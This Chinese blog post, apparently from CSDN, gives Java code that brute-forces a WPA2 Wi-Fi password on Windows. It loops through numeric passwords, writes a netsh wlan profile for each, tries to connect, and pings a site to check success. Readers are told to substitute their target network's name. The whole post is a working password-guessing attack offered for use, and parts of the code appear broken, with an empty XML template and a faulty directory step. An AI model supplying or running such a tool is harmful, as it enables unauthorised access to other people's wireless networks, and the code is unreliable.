先简单介绍一下:
思路来源来自于大佬 @yewinter 链接: link
但,当我运行的时候,会出现各种问题
(csdn经典的,复制后运行报错……)
于是debug走了一遍,修改了少许代码,
顺便让控制台的结果,更清晰了一点
流程更直观了一点
开始前确认,
1.java所有的环境都配置好了
2.有E盘(你也可以修改DEFAULT_PATH,将E改为C)(多数人错误来自此处,我已修改,大佬没有判断文件不存在的情况,我这里默认不存在自动创建)
3.用你的目标wifi的名字替换 402
String wifiName = "402";
4.若想测试该java文件是否可以
用自己的正确密码替换 00000000
password = "00000000";
5.大佬默认等待ping的时间较短 我这里设置1秒,1秒测试1个密码(聊胜于无)(或许后期可以加多线程……就像我之前写的对比文件,一共迭代了8个版本,一百万文件 50s 对比结束,有兴趣的同学也可以看看)
package com;
import java.io.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class Demo {
public static final String CODE_UTF8 = "utf-8";
public static final String CODE_GBK = "gbk";
public static final String DEFAULT_PATH = "E://wifi";//默认wifi配置文件生成路径
public static final String WIFI_LIST = "netsh wlan show networks mode=bssid";// 列出所有可用wifi
public static final String WIFI_ADDFILE = "netsh wlan add profile filename=";// 添加配置文件,后面需要加上你生成的配置文件名称
public static final String WIFI_CONNECT = "netsh wlan connect name=";// 连接wifi,后面加上你需要连接的wifi名称
public static final String TEST_CONNECT = "ping www.baidu.com";//wifi连接后测试是否ping通的一个网址
//一个配置文件模板
public static String XML_FORMAT = ""
+ ""
+ "WIFI_NAME "
+ ""
+ ""
+ "WIFI_NAME "
+ ""
+ ""
+ "ESS "
+ "manual "
+ ""
+ ""
+ ""
+ "WPA2PSK "
+ "AES "
+ "false "
+ ""
+ ""
+ "passPhrase "
+ "false "
+ "PASSWORD "
+ ""
+ ""
+ ""
+ ""
+ "false "
+ ""
+ "";
public static void main(String[] args) {
//列出所有的可用wifi,key是wifi名称,value是wifi的强度(用这个不如自己打开wifi看附近有哪些可用来得快)
// Map map = getWifi();
// for(String key:map.keySet()){
// System.out.println(key+"..."+map.get(key));
// }
boolean flag = true;
String wifiName = "402";//wifi测试账号
String password = "";//wifi测试密码
/**
* 测试 找一个正确的测试
*/
password = "00000000";//一直更换这个密码就好了
if (testConnected(wifiName, password)) {
System.out.println("密码正确");
flag = false;
}
while (flag) {
for (int i = 10000000; i <= 99999999999L; i++) {
password = String.valueOf(i);
System.out.println("使用密码" + i);//10000202
if (testConnected(wifiName, password)) {
flag = false;
}
}
}
}
/**
* 尝试对指定wifi设定一个密码,然后连接,连接成功返回true
*/
public static boolean testConnected(String wifiName, String password) {
boolean flag = false;
System.out.println("开始生成配置文件......");
if (!createXml(wifiName, password, DEFAULT_PATH)) {
System.out.println("配置文件生成失败......");
return false;
}
System.out.println("开始加载配置文件......");
if (!addXml(wifiName, DEFAULT_PATH)) {
System.out.println("配置文件加载失败......");
return false;
}
System.out.println("***********************************************************");
System.out.println("***********************************************************");
System.out.println("*开始尝试连接......");
execute(WIFI_CONNECT + wifiName, DEFAULT_PATH);
System.out.println("*正在检查密码是正确");
if (connectResult()) {
System.out.println("*连接成功,密码是:" + password);
flag = true;
} else {
System.out.println("*连接失败,请更换密码");
flag = false;
}
System.out.println("###########################################################");
System.out.println("###########################################################");
System.out.println(" \n\n\n\n");
return flag;
}
/**
* 最后,ping 一个地址,测试是否真的连上网络了
*/
public static boolean connectResult() {
try {
System.out.println("测试初始化开始");
Thread.sleep(1000);//这个休眠的意义是即时连接成功,你立刻ping 也还是会失败,必须让电脑反应过来,必须等一会
System.out.println("测试初始化结束");
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("开始检查");
boolean flag = true;
for (String rs : execute(TEST_CONNECT, DEFAULT_PATH)) {
if ("Ping 请求找不到主机 www.baidu.com。请检查该名称,然后重试。".equals(rs)) {
flag = false;
break;
}
}
System.out.println("检查结束");
return flag;
}
/**
* 在指定目录下,加载指定wifi名称的配置文件
*/
public static boolean addXml(String wifiName, String path) {
boolean flag = false;
for (String rs : execute(WIFI_ADDFILE + wifiName + ".xml", path)) {
if (("已将配置文件 " + wifiName + " 添加到接口 WLAN。").equals(rs)) {
flag = true;
break;
}
}
return flag;
}
/**
* 在指定目录下,对指定wifi生成一个指定密码的配置文件,文件名为wifi.xml
*/
public static boolean createXml(String wifiName, String password, String path) {
boolean flag = false;
File file = new File(path, wifiName + ".xml");
try {
if (!file.exists()) {
file.mkdirs();
}
PrintStream ps = new PrintStream(file);
String str = XML_FORMAT.replaceAll("WIFI_NAME", wifiName).replaceAll("PASSWORD", password);
ps.println(str);
ps.close();
flag = true;
} catch (FileNotFoundException e) {
e.printStackTrace();
}
return flag;
}
// /**
// * 获取所有可用的wifi名称,key是wifi名称,value是信号强度
// */
// public static Map getWifi() {
// Map map = new HashMap<>();
// //这里使用UTF-8去获取,中文名称的wifi不会乱码
// String key = null;
// String value = null;
// boolean saveFlag = false;
// for (String str : execute(WIFI_LIST, null, CODE_UTF8)) {
// if (str.startsWith("SSID")) {
// key = str.substring(9, str.length());
// } else if (str.endsWith("%")) {
// value = str.substring(str.length() - 3, str.length() - 1);
// saveFlag = true;
// }
// if (saveFlag) {
// map.put(key, value);
// saveFlag = false;
// }
// }
// return map;
// }
/**
* 在指定目录下执行指定命令,默认使用GBK编码
*/
public static List<String> execute(String cmd, String filePath) {
return execute(cmd, filePath, CODE_GBK);
}
/**
* 在指定目录下执行指定命令,返回指定编码的内容
*/
public static List<String> execute(String cmd, String filePath, String code) {
System.out.println("cmd命令加载中……");
Process process = null;
List<String> result = new ArrayList<String>();
try {
if (filePath != null) {
process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
} else {
process = Runtime.getRuntime().exec(cmd);
}
BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), code));
String line = null;
while ((line = bReader.readLine()) != null) {
result.add(line);
}
System.out.println("cmd命令已经加载成功……");
} catch (IOException e) {
e.printStackTrace();
}
return result;
}
}